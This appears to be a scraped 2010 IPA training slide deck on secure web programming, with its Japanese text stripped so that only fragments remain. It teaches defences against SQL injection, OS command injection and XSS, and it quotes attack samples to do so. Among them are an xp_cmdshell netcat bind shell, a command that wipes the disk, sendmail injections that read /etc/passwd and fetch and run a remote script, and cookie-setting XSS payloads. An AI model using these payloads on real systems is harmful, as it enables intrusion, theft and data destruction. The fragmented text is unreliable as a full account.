第3回_416.ppt - PDF 無料ダウンロード

3 3 2010 4 IPA Web http://www.ipa.go.jp/security/awareness/vendor/programming Copyright 2010 IPA 1 3-1 3-1-1 SQL #1 3-1-2 SQL #2 3-1-3 3-1-4 3-2 3-2-1 #2 3-2-2 #1 3-2-3 HTTP 3-3 3-3-1 3-3-2 Copyright 2010 IPA 2

SQL SQL SQL SELECT uid FROM account_table WHERE uid=' ID' AND pw=' ID(uid) (pw) (account_table) ID(uid) SQL ID Copyright 2010 IPA 5 SQL ID OR 1=1-- SELECT uid FROM account_table WHERE uid='' OR 1=1--' AND pw=' OR 1=1-- OR 1=1 uid -- ID SQL ( ) SQL SQL Copyright 2010 IPA 6

SQL SQL SQL SQL API API DB SQL API Copyright 2010 IPA 11 << Java >> String parameter = ; Connection c = ; // SQL PreparedStatement st = c.preparestatement("select name, price FROM product_table WHERE code=?"); st.setstring(1, parameter); //? // ResultSet rs = st.executequery(); [ http://www.thinkit.co.jp/cert/tech/7/5/3.htm] Copyright 2010 IPA 12

'...' SQL... SQL ' ' ' SQL SQL ' '' ( ' 'don''t' '80''s' 'Quark''s Bar' SQL don't 80's Quark's Bar SQL ' 2 1 Copyright 2010 IPA 13 '...' \ \( ) RDBMS(Relational DataBase Management System) \ \\ 2 \ UNION SELECT uid, pw FROM account_table-- ' 2 SQL SELECT name, price FROM product_table WHERE category='\' UNION SELECT uid,pw FROM account_table-- 2 '' \ ' Copyright 2010 IPA 14 -s-

'...' SQL... SQL - 0-9 - 0-9. + - 0-9. E e 1 Copyright 2010 IPA 15 '...' RDBMS ; SQL SQL 123; update account_table set pw='foo' where uid='admin' RDBMS ; 123 delete from account_table Copyright 2010 IPA 16 -s-

3-1-2 SQL #2 Copyright 2010 IPA 17 SQL : #2 ( ) HTML 1. SQL OS:Windwos Web IIS DB MS SQL Server Microsoft OLE DB Provider for ODBC Drivers(0x80040E14) [MicroSoft][ODBC SQL Server Driver][SQL Server] " and password= 2. SQL SQL 3. DB 4. (3) SQL HTML Copyright 2010 IPA 18

PHP PHP php.ini! display_errors=off» HTML display_startup_errors=off» PHP HTML» display_errors Off Off Copyright 2010 IPA 19 -s- Web Web IIS Apache Apache - Apache 2.0.59 ErrorLog logs/error.log LogLevel warn debug, info, notice, warn, error, crit, alert, emerg ServerTokens Full Full OS Minor Minimal Major Prod ServerSignature On On Off EMail Copyright 2010 IPA 20

RDBMS RDBMS DB PostgreSQL postgresql.conf SILENT_MODE (boolean) default : off silent_mode syslog SYSLOG ( ) default : 0 syslog 0 OS syslog 1 OS syslog 2 OS syslog Copyright 2010 IPA 21 -s- (select ) (insert update ) Copyright 2010 IPA 22

Copyright 2010 IPA 23 Microsoft SQL Server xp_cmdshell SQL Windows '; exec master..xp_cmdshell 'nc -l -p 666 -e cmd.exe'-- VBScript '; exec master..xp_cmdshell 'echo 1 >> bad.vbs'-- '; exec master..xp_cmdshell 'echo 2 >> bad.vbs'-- '; exec master..xp_cmdshell 'echo 3 >> bad.vbs'-- '; exec master..xp_cmdshell 'bad.vbs'-- ; exec master..xp_cmdshell 'del c:\*.* /F/Q/S'-- xp_cmdshell Copyright 2010 IPA 24

Copyright 2010 IPA 27 sendmail Perl $to_address = cgi->param{'to_address'}; $message_file = "/app/data/0012.txt"; system("sendmail $to_address <$message_file"); to_address 1. : evil@site </etc/passwd # /etc/passwd 2. : dummy@site </dev/null; nc -l -p 8080 sh # 3. : dummy@site </dev/null; wget http://site/badscript; sh badscript # Copyright 2010 IPA 28

1 1. API API API Perl exec(), system(), `...`, qx/.../ open(h, " {command}"), open(h, "{command} ") open() sysopen() open() < > open(handle, $pathname Copyright 2010 IPA 29 1 PHP exec(), passthru(), proc_open(), shell_exec(), system() Python os.system(), os.popen() Ruby exec(), system(), `...` exec() 1 *? {} [] <> () ~ & \ $ ; ` \n open(" {command}", mode, perm), open(" -{command}", mode, perm) open() open() 1 Copyright 2010 IPA 30

HTML 1. <script> 2. <script> URL 3. <img src= javascript:... > URL 4. <div style=...;z:expression(...);... > style 5. <span onmouseover=... > 6. <a href= &{...}; > Netscape 4.x JavaScript Copyright 2010 IPA 45 Copyright 2010 IPA 46

Web (1) <script>document.cookie='jsessionid=bad'</script> (2) > <script> '"><script>document.cookie='jsessionid=bad'</script> (3) HTML <script> --><script>document.cookie='jsessionid=bad'</script> (4) javascript: URL javascript:document.cookie='jsessionid=bad' Copyright 2010 IPA 47 (5) expression() red;z:expression(document.cookie='jsessionid=bad') (6) xxx ';document.cookie='jsessionid=bad (7) <script>...</script> xxx ';document.cookie='jsessionid=bad (6) Copyright 2010 IPA 48

(2) (2) HTML URL href= src= style style= onload= onmouseover= <script>...</script> <script>...</script> 'xxx' URL style <script> JavaScript Copyright 2010 IPA 53 (2) 1. URL URL» http://» https://» / 2. style <script>...</script>» style»» <script>...</script> JavaScript» `» ;» :» ( ) Copyright 2010 IPA 54 -s-

(3) (3) HTML HTML Web HTML HTML HTML HTML HTML HTML HTML Copyright 2010 IPA 55 (4) (4) Web HTML HTTP HTTP Content-Type: text/html; charset= > HTML <meta http-equiv="content-type" content="text/html; charset= "> (1) (4) UTF-7 < +ADwA- Web Content-Type charset HTML UTF-7 Copyright 2010 IPA 56 -s- -s-